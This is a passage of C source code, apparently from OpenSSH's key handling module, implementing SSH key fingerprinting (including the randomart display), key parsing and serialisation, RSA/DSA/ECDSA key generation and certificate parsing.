return key_equal_public(a, b); } u_char* key_fingerprint_raw(Key *k, enum fp_type dgst_type, u_int *dgst_raw_length) { const EVP_MD *md = NULL; EVP_MD_CTX ctx; u_char *blob = NULL; u_char *retval = NULL; u_int len = 0; int nlen, elen, otype; *dgst_raw_length = 0; switch (dgst_type) { case SSH_FP_MD5: md = EVP_md5(); break; case SSH_FP_SHA1: md = EVP_sha1(); break; default: fatal("key_fingerprint_raw: bad digest type %d", dgst_type); } switch (k->type) { case KEY_RSA1: nlen = BN_num_bytes(k->rsa->n); elen = BN_num_bytes(k->rsa->e); len = nlen + elen; blob = xmalloc(len); BN_bn2bin(k->rsa->n, blob); BN_bn2bin(k->rsa->e, blob + nlen); break; case KEY_DSA: case KEY_ECDSA: case KEY_RSA: key_to_blob(k, &blob, &len); break; case KEY_DSA_CERT_V00: case KEY_RSA_CERT_V00: case KEY_DSA_CERT: case KEY_ECDSA_CERT: case KEY_RSA_CERT: /* We want a fingerprint of the _key_ not of the cert */ otype = k->type; k->type = key_type_plain(k->type); key_to_blob(k, &blob, &len); k->type = otype; break; case KEY_UNSPEC: return retval; default: fatal("key_fingerprint_raw: bad key type %d", k->type); break; } if (blob != NULL) { retval = xmalloc(EVP_MAX_MD_SIZE); EVP_DigestInit(&ctx, md); EVP_DigestUpdate(&ctx, blob, len); EVP_DigestFinal(&ctx, retval, dgst_raw_length); memset(blob, 0, len); xfree(blob); } else { fatal("key_fingerprint_raw: blob is null"); } return retval; } static char * key_fingerprint_hex(u_char *dgst_raw, u_int dgst_raw_len) { char *retval; u_int i; retval = xcalloc(1, dgst_raw_len * 3 + 1); for (i = 0; i < dgst_raw_len; i++) { char hex[4]; snprintf(hex, sizeof(hex), "%02x:", dgst_raw[i]); strlcat(retval, hex, dgst_raw_len * 3 + 1); } /* Remove the trailing ':' character */ retval[(dgst_raw_len * 3) - 1] = '\0'; return retval; } static char * key_fingerprint_bubblebabble(u_char *dgst_raw, u_int dgst_raw_len) { char vowels[] = { 'a', 'e', 'i', 'o', 'u', 'y' }; char consonants[] = { 'b', 'c', 'd', 'f', 'g', 'h', 'k', 'l', 'm', 'n', 'p', 'r', 's', 't', 'v', 'z', 'x' }; u_int i, j = 0, rounds, seed = 1; char *retval; rounds = (dgst_raw_len / 2) + 1; retval = xcalloc((rounds * 6), sizeof(char)); retval[j++] = 'x'; for (i = 0; i < rounds; i++) { u_int idx0, idx1, idx2, idx3, idx4; if ((i + 1 < rounds) || (dgst_raw_len % 2 != 0)) { idx0 = (((((u_int)(dgst_raw[2 * i])) >> 6) & 3) + seed) % 6; idx1 = (((u_int)(dgst_raw[2 * i])) >> 2) & 15; idx2 = ((((u_int)(dgst_raw[2 * i])) & 3) + (seed / 6)) % 6; retval[j++] = vowels[idx0]; retval[j++] = consonants[idx1]; retval[j++] = vowels[idx2]; if ((i + 1) < rounds) { idx3 = (((u_int)(dgst_raw[(2 * i) + 1])) >> 4) & 15; idx4 = (((u_int)(dgst_raw[(2 * i) + 1]))) & 15; retval[j++] = consonants[idx3]; retval[j++] = '-'; retval[j++] = consonants[idx4]; seed = ((seed * 5) + ((((u_int)(dgst_raw[2 * i])) * 7) + ((u_int)(dgst_raw[(2 * i) + 1])))) % 36; } } else { idx0 = seed % 6; idx1 = 16; idx2 = seed / 6; retval[j++] = vowels[idx0]; retval[j++] = consonants[idx1]; retval[j++] = vowels[idx2]; } } retval[j++] = 'x'; retval[j++] = '\0'; return retval; } /* * Draw an ASCII-Art representing the fingerprint so human brain can * profit from its built-in pattern recognition ability. * This technique is called "random art" and can be found in some * scientific publications like this original paper: * * "Hash Visualization: a New Technique to improve Real-World Security", * Perrig A. and Song D., 1999, International Workshop on Cryptographic * Techniques and E-Commerce (CrypTEC '99) * sparrow.ece.cmu.edu/~adrian/projects/validation/validation.pdf * * The subject came up in a talk by Dan Kaminsky, too. * * If you see the picture is different, the key is different. * If the picture looks the same, you still know nothing. * * The algorithm used here is a worm crawling over a discrete plane, * leaving a trace (augmenting the field) everywhere it goes. * Movement is taken from dgst_raw 2bit-wise. Bumping into walls * makes the respective movement vector be ignored for this turn. * Graphs are not unambiguous, because circles in graphs can be * walked in either direction. */ /* * Field sizes for the random art. Have to be odd, so the starting point * can be in the exact middle of the picture, and FLDBASE should be >=8 . * Else pictures would be too dense, and drawing the frame would * fail, too, because the key type would not fit in anymore. */ #define FLDBASE 8 #define FLDSIZE_Y (FLDBASE + 1) #define FLDSIZE_X (FLDBASE * 2 + 1) static char * key_fingerprint_randomart(u_char *dgst_raw, u_int dgst_raw_len, const Key *k) { /* * Chars to be used after each other every time the worm * intersects with itself. Matter of taste. */ char *augmentation_string = " .o+=*BOX@%&#/^SE"; char *retval, *p; u_char field[FLDSIZE_X][FLDSIZE_Y]; u_int i, b; int x, y; size_t len = strlen(augmentation_string) - 1; retval = xcalloc(1, (FLDSIZE_X + 3) * (FLDSIZE_Y + 2)); /* initialize field */ memset(field, 0, FLDSIZE_X * FLDSIZE_Y * sizeof(char)); x = FLDSIZE_X / 2; y = FLDSIZE_Y / 2; /* process raw key */ for (i = 0; i < dgst_raw_len; i++) { int input; /* each byte conveys four 2-bit move commands */ input = dgst_raw[i]; for (b = 0; b < 4; b++) { /* evaluate 2 bit, rest is shifted later */ x += (input & 0x1) ? 1 : -1; y += (input & 0x2) ? 1 : -1; /* assure we are still in bounds */ x = MAX(x, 0); y = MAX(y, 0); x = MIN(x, FLDSIZE_X - 1); y = MIN(y, FLDSIZE_Y - 1); /* augment the field */ if (field[x][y] < len - 2) field[x][y]++; input = input >> 2; } } /* mark starting point and end point*/ field[FLDSIZE_X / 2][FLDSIZE_Y / 2] = len - 1; field[x][y] = len; /* fill in retval */ snprintf(retval, FLDSIZE_X, "+--[%4s %4u]", key_type(k), key_size(k)); p = strchr(retval, '\0'); /* output upper border */ for (i = p - retval - 1; i < FLDSIZE_X; i++) *p++ = '-'; *p++ = '+'; *p++ = '\n'; /* output content */ for (y = 0; y < FLDSIZE_Y; y++) { *p++ = '|'; for (x = 0; x < FLDSIZE_X; x++) *p++ = augmentation_string[MIN(field[x][y], len)]; *p++ = '|'; *p++ = '\n'; } /* output lower border */ *p++ = '+'; for (i = 0; i < FLDSIZE_X; i++) *p++ = '-'; *p++ = '+'; return retval; } char * key_fingerprint(Key *k, enum fp_type dgst_type, enum fp_rep dgst_rep) { char *retval = NULL; u_char *dgst_raw; u_int dgst_raw_len; dgst_raw = key_fingerprint_raw(k, dgst_type, &dgst_raw_len); if (!dgst_raw) fatal("key_fingerprint: null from key_fingerprint_raw()"); switch (dgst_rep) { case SSH_FP_HEX: retval = key_fingerprint_hex(dgst_raw, dgst_raw_len); break; case SSH_FP_BUBBLEBABBLE: retval = key_fingerprint_bubblebabble(dgst_raw, dgst_raw_len); break; case SSH_FP_RANDOMART: retval = key_fingerprint_randomart(dgst_raw, dgst_raw_len, k); break; default: fatal("key_fingerprint: bad digest representation %d", dgst_rep); break; } memset(dgst_raw, 0, dgst_raw_len); xfree(dgst_raw); return retval; } /* * Reads a multiple-precision integer in decimal from the buffer, and advances * the pointer. The integer must already be initialized. This function is * permitted to modify the buffer. This leaves *cpp to point just beyond the * last processed (and maybe modified) character. Note that this may modify * the buffer containing the number. */ static int read_bignum(char **cpp, BIGNUM * value) { char *cp = *cpp; int old; /* Skip any leading whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; /* Check that it begins with a decimal digit. */ if (*cp < '0' || *cp > '9') return 0; /* Save starting position. */ *cpp = cp; /* Move forward until all decimal digits skipped. */ for (; *cp >= '0' && *cp <= '9'; cp++) ; /* Save the old terminating character, and replace it by \0. */ old = *cp; *cp = 0; /* Parse the number. */ if (BN_dec2bn(&value, *cpp) == 0) return 0; /* Restore old terminating character. */ *cp = old; /* Move beyond the number and return success. */ *cpp = cp; return 1; } static int write_bignum(FILE *f, BIGNUM *num) { char *buf = BN_bn2dec(num); if (buf == NULL) { error("write_bignum: BN_bn2dec() failed"); return 0; } fprintf(f, " %s", buf); OPENSSL_free(buf); return 1; } /* returns 1 ok, -1 error */ int key_read(Key *ret, char **cpp) { Key *k; int success = -1; char *cp, *space; int len, n, type; u_int bits; u_char *blob; #ifdef OPENSSL_HAS_ECC int curve_nid = -1; #endif cp = *cpp; switch (ret->type) { case KEY_RSA1: /* Get number of bits. */ if (*cp < '0' || *cp > '9') return -1; /* Bad bit count... */ for (bits = 0; *cp >= '0' && *cp <= '9'; cp++) bits = 10 * bits + *cp - '0'; if (bits == 0) return -1; *cpp = cp; /* Get public exponent, public modulus. */ if (!read_bignum(cpp, ret->rsa->e)) return -1; if (!read_bignum(cpp, ret->rsa->n)) return -1; /* validate the claimed number of bits */ if ((u_int)BN_num_bits(ret->rsa->n) != bits) { verbose("key_read: claimed key size %d does not match " "actual %d", bits, BN_num_bits(ret->rsa->n)); return -1; } success = 1; break; case KEY_UNSPEC: case KEY_RSA: case KEY_DSA: case KEY_ECDSA: case KEY_DSA_CERT_V00: case KEY_RSA_CERT_V00: case KEY_DSA_CERT: case KEY_ECDSA_CERT: case KEY_RSA_CERT: space = strchr(cp, ' '); if (space == NULL) { debug3("key_read: missing whitespace"); return -1; } *space = '\0'; type = key_type_from_name(cp); #ifdef OPENSSL_HAS_ECC if (key_type_plain(type) == KEY_ECDSA && (curve_nid = key_ecdsa_nid_from_name(cp)) == -1) { debug("key_read: invalid curve"); return -1; } #endif *space = ' '; if (type == KEY_UNSPEC) { debug3("key_read: missing keytype"); return -1; } cp = space+1; if (*cp == '\0') { debug3("key_read: short string"); return -1; } if (ret->type == KEY_UNSPEC) { ret->type = type; } else if (ret->type != type) { /* is a key, but different type */ debug3("key_read: type mismatch"); return -1; } len = 2*strlen(cp); blob = xmalloc(len); n = uudecode(cp, blob, len); if (n < 0) { error("key_read: uudecode %s failed", cp); xfree(blob); return -1; } k = key_from_blob(blob, (u_int)n); xfree(blob); if (k == NULL) { error("key_read: key_from_blob %s failed", cp); return -1; } if (k->type != type) { error("key_read: type mismatch: encoding error"); key_free(k); return -1; } #ifdef OPENSSL_HAS_ECC if (key_type_plain(type) == KEY_ECDSA && curve_nid != k->ecdsa_nid) { error("key_read: type mismatch: EC curve mismatch"); key_free(k); return -1; } #endif /*XXXX*/ if (key_is_cert(ret)) { if (!key_is_cert(k)) { error("key_read: loaded key is not a cert"); key_free(k); return -1; } if (ret->cert != NULL) cert_free(ret->cert); ret->cert = k->cert; k->cert = NULL; } if (key_type_plain(ret->type) == KEY_RSA) { if (ret->rsa != NULL) RSA_free(ret->rsa); ret->rsa = k->rsa; k->rsa = NULL; #ifdef DEBUG_PK RSA_print_fp(stderr, ret->rsa, 8); #endif } if (key_type_plain(ret->type) == KEY_DSA) { if (ret->dsa != NULL) DSA_free(ret->dsa); ret->dsa = k->dsa; k->dsa = NULL; #ifdef DEBUG_PK DSA_print_fp(stderr, ret->dsa, 8); #endif } #ifdef OPENSSL_HAS_ECC if (key_type_plain(ret->type) == KEY_ECDSA) { if (ret->ecdsa != NULL) EC_KEY_free(ret->ecdsa); ret->ecdsa = k->ecdsa; ret->ecdsa_nid = k->ecdsa_nid; k->ecdsa = NULL; k->ecdsa_nid = -1; #ifdef DEBUG_PK key_dump_ec_key(ret->ecdsa); #endif } #endif success = 1; /*XXXX*/ key_free(k); if (success != 1) break; /* advance cp: skip whitespace and data */ while (*cp == ' ' || *cp == '\t') cp++; while (*cp != '\0' && *cp != ' ' && *cp != '\t') cp++; *cpp = cp; break; default: fatal("key_read: bad key type: %d", ret->type); break; } return success; } int key_write(const Key *key, FILE *f) { int n, success = 0; u_int len, bits = 0; u_char *blob; char *uu; if (key_is_cert(key)) { if (key->cert == NULL) { error("%s: no cert data", __func__); return 0; } if (buffer_len(&key->cert->certblob) == 0) { error("%s: no signed certificate blob", __func__); return 0; } } switch (key->type) { case KEY_RSA1: if (key->rsa == NULL) return 0; /* size of modulus 'n' */ bits = BN_num_bits(key->rsa->n); fprintf(f, "%u", bits); if (write_bignum(f, key->rsa->e) && write_bignum(f, key->rsa->n)) return 1; error("key_write: failed for RSA key"); return 0; case KEY_DSA: case KEY_DSA_CERT_V00: case KEY_DSA_CERT: if (key->dsa == NULL) return 0; break; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA: case KEY_ECDSA_CERT: if (key->ecdsa == NULL) return 0; break; #endif case KEY_RSA: case KEY_RSA_CERT_V00: case KEY_RSA_CERT: if (key->rsa == NULL) return 0; break; default: return 0; } key_to_blob(key, &blob, &len); uu = xmalloc(2*len); n = uuencode(blob, len, uu, 2*len); if (n > 0) { fprintf(f, "%s %s", key_ssh_name(key), uu); success = 1; } xfree(blob); xfree(uu); return success; } const char * key_type(const Key *k) { switch (k->type) { case KEY_RSA1: return "RSA1"; case KEY_RSA: return "RSA"; case KEY_DSA: return "DSA"; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA: return "ECDSA"; #endif case KEY_RSA_CERT_V00: return "RSA-CERT-V00"; case KEY_DSA_CERT_V00: return "DSA-CERT-V00"; case KEY_RSA_CERT: return "RSA-CERT"; case KEY_DSA_CERT: return "DSA-CERT"; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA_CERT: return "ECDSA-CERT"; #endif } return "unknown"; } const char * key_cert_type(const Key *k) { switch (k->cert->type) { case SSH2_CERT_TYPE_USER: return "user"; case SSH2_CERT_TYPE_HOST: return "host"; default: return "unknown"; } } static const char * key_ssh_name_from_type_nid(int type, int nid) { switch (type) { case KEY_RSA: return "ssh-rsa"; case KEY_DSA: return "ssh-dss"; case KEY_RSA_CERT_V00: return "ssh-rsa-cert-v00@openssh.com"; case KEY_DSA_CERT_V00: return "ssh-dss-cert-v00@openssh.com"; case KEY_RSA_CERT: return "ssh-rsa-cert-v01@openssh.com"; case KEY_DSA_CERT: return "ssh-dss-cert-v01@openssh.com"; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA: switch (nid) { case NID_X9_62_prime256v1: return "ecdsa-sha2-nistp256"; case NID_secp384r1: return "ecdsa-sha2-nistp384"; case NID_secp521r1: return "ecdsa-sha2-nistp521"; default: break; } break; case KEY_ECDSA_CERT: switch (nid) { case NID_X9_62_prime256v1: return "ecdsa-sha2-nistp256-cert-v01@openssh.com"; case NID_secp384r1: return "ecdsa-sha2-nistp384-cert-v01@openssh.com"; case NID_secp521r1: return "ecdsa-sha2-nistp521-cert-v01@openssh.com"; default: break; } break; #endif /* OPENSSL_HAS_ECC */ } return "ssh-unknown"; } const char * key_ssh_name(const Key *k) { return key_ssh_name_from_type_nid(k->type, k->ecdsa_nid); } const char * key_ssh_name_plain(const Key *k) { return key_ssh_name_from_type_nid(key_type_plain(k->type), k->ecdsa_nid); } u_int key_size(const Key *k) { switch (k->type) { case KEY_RSA1: case KEY_RSA: case KEY_RSA_CERT_V00: case KEY_RSA_CERT: return BN_num_bits(k->rsa->n); case KEY_DSA: case KEY_DSA_CERT_V00: case KEY_DSA_CERT: return BN_num_bits(k->dsa->p); #ifdef OPENSSL_HAS_ECC case KEY_ECDSA: case KEY_ECDSA_CERT: return key_curve_nid_to_bits(k->ecdsa_nid); #endif } return 0; } static RSA * rsa_generate_private_key(u_int bits) { RSA *private = RSA_new(); BIGNUM *f4 = BN_new(); if (private == NULL) fatal("%s: RSA_new failed", __func__); if (f4 == NULL) fatal("%s: BN_new failed", __func__); if (!BN_set_word(f4, RSA_F4)) fatal("%s: BN_new failed", __func__); if (!RSA_generate_key_ex(private, bits, f4, NULL)) fatal("%s: key generation failed.", __func__); BN_free(f4); return private; } static DSA* dsa_generate_private_key(u_int bits) { DSA *private = DSA_new(); if (private == NULL) fatal("%s: DSA_new failed", __func__); if (!DSA_generate_parameters_ex(private, bits, NULL, 0, NULL, NULL, NULL)) fatal("%s: DSA_generate_parameters failed", __func__); if (!DSA_generate_key(private)) fatal("%s: DSA_generate_key failed.", __func__); return private; } int key_ecdsa_bits_to_nid(int bits) { switch (bits) { #ifdef OPENSSL_HAS_ECC case 256: return NID_X9_62_prime256v1; case 384: return NID_secp384r1; case 521: return NID_secp521r1; #endif default: return -1; } } #ifdef OPENSSL_HAS_ECC int key_ecdsa_key_to_nid(EC_KEY *k) { EC_GROUP *eg; int nids[] = { NID_X9_62_prime256v1, NID_secp384r1, NID_secp521r1, -1 }; int nid; u_int i; BN_CTX *bnctx; const EC_GROUP *g = EC_KEY_get0_group(k); /* * The group may be stored in a ASN.1 encoded private key in one of two * ways: as a "named group", which is reconstituted by ASN.1 object ID * or explicit group parameters encoded into the key blob. Only the * "named group" case sets the group NID for us, but we can figure * it out for the other case by comparing against all the groups that * are supported. */ if ((nid = EC_GROUP_get_curve_name(g)) > 0) return nid; if ((bnctx = BN_CTX_new()) == NULL) fatal("%s: BN_CTX_new() failed", __func__); for (i = 0; nids[i] != -1; i++) { if ((eg = EC_GROUP_new_by_curve_name(nids[i])) == NULL) fatal("%s: EC_GROUP_new_by_curve_name failed", __func__); if (EC_GROUP_cmp(g, eg, bnctx) == 0) break; EC_GROUP_free(eg); } BN_CTX_free(bnctx); debug3("%s: nid = %d", __func__, nids[i]); if (nids[i] != -1) { /* Use the group with the NID attached */ EC_GROUP_set_asn1_flag(eg, OPENSSL_EC_NAMED_CURVE); if (EC_KEY_set_group(k, eg) != 1) fatal("%s: EC_KEY_set_group", __func__); } return nids[i]; } static EC_KEY* ecdsa_generate_private_key(u_int bits, int *nid) { EC_KEY *private; if ((*nid = key_ecdsa_bits_to_nid(bits)) == -1) fatal("%s: invalid key length", __func__); if ((private = EC_KEY_new_by_curve_name(*nid)) == NULL) fatal("%s: EC_KEY_new_by_curve_name failed", __func__); if (EC_KEY_generate_key(private) != 1) fatal("%s: EC_KEY_generate_key failed", __func__); EC_KEY_set_asn1_flag(private, OPENSSL_EC_NAMED_CURVE); return private; } #endif /* OPENSSL_HAS_ECC */ Key * key_generate(int type, u_int bits) { Key *k = key_new(KEY_UNSPEC); switch (type) { case KEY_DSA: k->dsa = dsa_generate_private_key(bits); break; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA: k->ecdsa = ecdsa_generate_private_key(bits, &k->ecdsa_nid); break; #endif case KEY_RSA: case KEY_RSA1: k->rsa = rsa_generate_private_key(bits); break; case KEY_RSA_CERT_V00: case KEY_DSA_CERT_V00: case KEY_RSA_CERT: case KEY_DSA_CERT: fatal("key_generate: cert keys cannot be generated directly"); default: fatal("key_generate: unknown type %d", type); } k->type = type; return k; } void key_cert_copy(const Key *from_key, struct Key *to_key) { u_int i; const struct KeyCert *from; struct KeyCert *to; if (to_key->cert != NULL) { cert_free(to_key->cert); to_key->cert = NULL; } if ((from = from_key->cert) == NULL) return; to = to_key->cert = cert_new(); buffer_append(&to->certblob, buffer_ptr(&from->certblob), buffer_len(&from->certblob)); buffer_append(&to->critical, buffer_ptr(&from->critical), buffer_len(&from->critical)); buffer_append(&to->extensions, buffer_ptr(&from->extensions), buffer_len(&from->extensions)); to->serial = from->serial; to->type = from->type; to->key_id = from->key_id == NULL ? NULL : xstrdup(from->key_id); to->valid_after = from->valid_after; to->valid_before = from->valid_before; to->signature_key = from->signature_key == NULL ? NULL : key_from_private(from->signature_key); to->nprincipals = from->nprincipals; if (to->nprincipals > CERT_MAX_PRINCIPALS) fatal("%s: nprincipals (%u) > CERT_MAX_PRINCIPALS (%u)", __func__, to->nprincipals, CERT_MAX_PRINCIPALS); if (to->nprincipals > 0) { to->principals = xcalloc(from->nprincipals, sizeof(*to->principals)); for (i = 0; i < to->nprincipals; i++) to->principals[i] = xstrdup(from->principals[i]); } } Key * key_from_private(const Key *k) { Key *n = NULL; switch (k->type) { case KEY_DSA: case KEY_DSA_CERT_V00: case KEY_DSA_CERT: n = key_new(k->type); if ((BN_copy(n->dsa->p, k->dsa->p) == NULL) || (BN_copy(n->dsa->q, k->dsa->q) == NULL) || (BN_copy(n->dsa->g, k->dsa->g) == NULL) || (BN_copy(n->dsa->pub_key, k->dsa->pub_key) == NULL)) fatal("key_from_private: BN_copy failed"); break; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA: case KEY_ECDSA_CERT: n = key_new(k->type); n->ecdsa_nid = k->ecdsa_nid; if ((n->ecdsa = EC_KEY_new_by_curve_name(k->ecdsa_nid)) == NULL) fatal("%s: EC_KEY_new_by_curve_name failed", __func__); if (EC_KEY_set_public_key(n->ecdsa, EC_KEY_get0_public_key(k->ecdsa)) != 1) fatal("%s: EC_KEY_set_public_key failed", __func__); break; #endif case KEY_RSA: case KEY_RSA1: case KEY_RSA_CERT_V00: case KEY_RSA_CERT: n = key_new(k->type); if ((BN_copy(n->rsa->n, k->rsa->n) == NULL) || (BN_copy(n->rsa->e, k->rsa->e) == NULL)) fatal("key_from_private: BN_copy failed"); break; default: fatal("key_from_private: unknown type %d", k->type); break; } if (key_is_cert(k)) key_cert_copy(k, n); return n; } int key_type_from_name(char *name) { if (strcmp(name, "rsa1") == 0) { return KEY_RSA1; } else if (strcmp(name, "rsa") == 0) { return KEY_RSA; } else if (strcmp(name, "dsa") == 0) { return KEY_DSA; } else if (strcmp(name, "ssh-rsa") == 0) { return KEY_RSA; } else if (strcmp(name, "ssh-dss") == 0) { return KEY_DSA; #ifdef OPENSSL_HAS_ECC } else if (strcmp(name, "ecdsa") == 0 || strcmp(name, "ecdsa-sha2-nistp256") == 0 || strcmp(name, "ecdsa-sha2-nistp384") == 0 || strcmp(name, "ecdsa-sha2-nistp521") == 0) { return KEY_ECDSA; #endif } else if (strcmp(name, "ssh-rsa-cert-v00@openssh.com") == 0) { return KEY_RSA_CERT_V00; } else if (strcmp(name, "ssh-dss-cert-v00@openssh.com") == 0) { return KEY_DSA_CERT_V00; } else if (strcmp(name, "ssh-rsa-cert-v01@openssh.com") == 0) { return KEY_RSA_CERT; } else if (strcmp(name, "ssh-dss-cert-v01@openssh.com") == 0) { return KEY_DSA_CERT; #ifdef OPENSSL_HAS_ECC } else if (strcmp(name, "ecdsa-sha2-nistp256-cert-v01@openssh.com") == 0 || strcmp(name, "ecdsa-sha2-nistp384-cert-v01@openssh.com") == 0 || strcmp(name, "ecdsa-sha2-nistp521-cert-v01@openssh.com") == 0) { return KEY_ECDSA_CERT; #endif } debug2("key_type_from_name: unknown key type '%s'", name); return KEY_UNSPEC; } int key_ecdsa_nid_from_name(const char *name) { #ifdef OPENSSL_HAS_ECC if (strcmp(name, "ecdsa-sha2-nistp256") == 0 || strcmp(name, "ecdsa-sha2-nistp256-cert-v01@openssh.com") == 0) return NID_X9_62_prime256v1; if (strcmp(name, "ecdsa-sha2-nistp384") == 0 || strcmp(name, "ecdsa-sha2-nistp384-cert-v01@openssh.com") == 0) return NID_secp384r1; if (strcmp(name, "ecdsa-sha2-nistp521") == 0 || strcmp(name, "ecdsa-sha2-nistp521-cert-v01@openssh.com") == 0) return NID_secp521r1; #endif /* OPENSSL_HAS_ECC */ debug2("%s: unknown/non-ECDSA key type '%s'", __func__, name); return -1; } int key_names_valid2(const char *names) { char *s, *cp, *p; if (names == NULL || strcmp(names, "") == 0) return 0; s = cp = xstrdup(names); for ((p = strsep(&cp, ",")); p && *p != '\0'; (p = strsep(&cp, ","))) { switch (key_type_from_name(p)) { case KEY_RSA1: case KEY_UNSPEC: xfree(s); return 0; } } debug3("key names ok: [%s]", names); xfree(s); return 1; } static int cert_parse(Buffer *b, Key *key, const u_char *blob, u_int blen) { u_char *principals, *critical, *exts, *sig_key, *sig; u_int signed_len, plen, clen, sklen, slen, kidlen, elen; Buffer tmp; char *principal; int ret = -1; int v00 = key->type == KEY_DSA_CERT_V00 || key->type == KEY_RSA_CERT_V00; buffer_init(&tmp); /* Copy the entire key blob for verification and later serialisation */ buffer_append(&key->cert->certblob, blob, blen); elen = 0; /* Not touched for v00 certs */ principals = exts = critical = sig_key = sig = NULL; if ((!v00 && buffer_get_int64_ret(&key->cert->serial, b) != 0) || buffer_get_int_ret(&key->cert->type, b) != 0 || (key->cert->key_id = buffer_get_cstring_ret(b, &kidlen)) == NULL || (principals = buffer_get_string_ret(b, &plen)) == NULL || buffer_get_int64_ret(&key->cert->valid_after, b) != 0 || buffer_get_int64_ret(&key->cert->valid_before, b) != 0 || (critical = buffer_get_string_ret(b, &clen)) == NULL || (!v00 && (exts = buffer_get_string_ret(b, &elen)) == NULL) || (v00 && buffer_get_string_ptr_ret(b, NULL) == NULL) || /* nonce */ buffer_get_string_ptr_ret(b, NULL) == NULL || /* reserved */ (sig_key = buffer_get_string_ret(b, &sklen)) == NULL) { error("%s: parse error", __func__); goto out; } /* Signature is left in the buffer so we can calculate this length */ signed_len = buffer_len(&key->cert->certblob) - buffer_len(b); if ((sig = buffer_get_string_ret(b, &slen)) == NULL) { error("%s: parse error", __func__); goto out; } if (key->cert->type != SSH2_CERT_TYPE_USER && key->cert->type != SSH2_CERT_TYPE_HOST) { error("Unknown certificate type %u", key->cert->type); goto out; } buffer_append(&tmp, principals, plen); while (buffer_len(&tmp) > 0) { if (key->cert->nprincipals >= CERT_MAX_PRINCIPALS) { error("%s: Too many principals", __func__); goto out; } if ((principal = buffer_get_cstring_ret(&tmp, &plen)) == NULL) { error("%s: Principals data invalid", __func__); goto out; } key->cert->principals = xrealloc(key->cert->principals, key->cert->nprincipals + 1, sizeof(*key->cert->principals)); key->cert->principals[key->cert->nprincipals++] = principal; } buffer_clear(&tmp); buffer_append(&key->cert->critical, critical, clen); buffer_append(&tmp, critical, clen); /* validate structure */ while (buffer_len(&tmp) != 0) { if (buffer_get_string_ptr_ret(&tmp, NULL) == NULL || buffer_get_string_ptr_ret(&tmp, NULL) == NULL) { error("%s: critical option data invalid", __func__); goto out; } } buffer_clear(&tmp); buffer_append(&key->cert->extensions, exts, elen); buffer_append(&tmp, exts, elen); /* validate structure */ while (buffer_len(&tmp) != 0) { if (buffer_get_string_ptr_ret(&tmp, NULL) == NULL || buffer_get_string_ptr_ret(&tmp, NULL) == NULL) { error("%s: extension data invalid", __func__); goto out; } } buffer_clear(&tmp); if ((key->cert->signature_key = key_from_blob(sig_key, sklen)) == NULL) { error("%s: Signature key invalid", __func__); goto out; } if (key->cert->signature_key->type != KEY_RSA && key->cert->signature_key->type != KEY_DSA && key->cert->signature_key->type != KEY_ECDSA) { error("%s: Invalid signature key type %s (%d)", __func__, key_type(key->cert->signature_key), key->cert->signature_key->type); goto out; } switch (key_verify(key->cert->signature_key, sig, slen, buffer_ptr(&key->cert->certblob), signed_len)) { case 1: ret = 0; break; /* Good signature */ case 0: error("%s: Invalid signature on certificate", __func__); goto out; case -1: error("%s: Certificate signature verification failed", __func__); goto out; } out: buffer_free(&tmp); if (principals != NULL) xfree(principals); if (critical != NULL) xfree(critical); if (exts != NULL) xfree(exts); if (sig_key != NULL) xfree(sig_key); if (sig != NULL) xfree(sig); return ret; } Key * key_from_blob(const u_char *blob, u_int blen) { Buffer b; int rlen, type; char *ktype = NULL, *curve = NULL; Key *key = NULL; #ifdef OPENSSL_HAS_ECC EC_POINT *q = NULL; int nid = -1; #endif #ifdef DEBUG_PK dump_base64(stderr, blob, blen); #endif buffer_init(&b); buffer_append(&b, blob, blen); if ((ktype = buffer_get_cstring_ret(&b, NULL)) == NULL) { error("key_from_blob: can't read key type"); goto out; } type = key_type_from_name(ktype); #ifdef OPENSSL_HAS_ECC if (key_type_plain(type) == KEY_ECDSA) nid = key_ecdsa_nid_from_name(ktype); #endif switch (type) { case KEY_RSA_CERT: (void)buffer_get_string_ptr_ret(&b, NULL); /* Skip nonce */ /* FALLTHROUGH */ case KEY_RSA: case KEY_RSA_CERT_V00: key = key_new(type); if (buffer_get_bignum2_ret(&b, key->rsa->e) == -1 || buffer_get_bignum2_ret(&b, key->rsa->n) == -1) { error("key_from_blob: can't read rsa key"); badkey: key_free(key); key = NULL; goto out; } #ifdef DEBUG_PK RSA_print_fp(stderr, key->rsa, 8); #endif break; case KEY_DSA_CERT: (void)buffer_get_string_ptr_ret(&b, NULL); /* Skip nonce */ /* FALLTHROUGH */ case KEY_DSA: case KEY_DSA_CERT_V00: key = key_new(type); if (buffer_get_bignum2_ret(&b, key->dsa->p) == -1 || buffer_get_bignum2_ret(&b, key->dsa->q) == -1 || buffer_get_bignum2_ret(&b, key->dsa->g) == -1 || buffer_get_bignum2_ret(&b, key->dsa->pub_key) == -1) { error("key_from_blob: can't read dsa key"); goto badkey; } #ifdef DEBUG_PK DSA_print_fp(stderr, key->dsa, 8); #endif break; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA_CERT: (void)buffer_get_string_ptr_ret(&b, NULL); /* Skip nonce */ /* FALLTHROUGH */ case KEY_ECDSA: key = key_new(type); key->ecdsa_nid = nid; if ((curve = buffer_get_string_ret(&b, NULL)) == NULL) { error("key_from_blob: can't read ecdsa curve"); goto badkey; } if (key->ecdsa_nid != key_curve_name_to_nid(curve)) { error("key_from_blob: ecdsa curve doesn't match type"); goto badkey; } if (key->ecdsa != NULL) EC_KEY_free(key->ecdsa); if ((key->ecdsa = EC_KEY_new_by_curve_name(key->ecdsa_nid)) == NULL) fatal("key_from_blob: EC_KEY_new_by_curve_name failed"); if ((q = EC_POINT_new(EC_KEY_get0_group(key->ecdsa))) == NULL) fatal("key_from_blob: EC_POINT_new failed"); if (buffer_get_ecpoint_ret(&b, EC_KEY_get0_group(key->ecdsa), q) == -1) { error("key_from_blob: can't read ecdsa key point"); goto badkey; } if (key_ec_validate_public(EC_KEY_get0_group(key->ecdsa), q) != 0) goto badkey; if (EC_KEY_set_public_key(key->ecdsa, q) != 1) fatal("key_from_blob: EC_KEY_set_public_key failed"); #ifdef DEBUG_PK key_dump_ec_point(EC_KEY_get0_group(key->ecdsa), q); #endif break; #endif /* OPENSSL_HAS_ECC */ case KEY_UNSPEC: key = key_new(type); break; default: 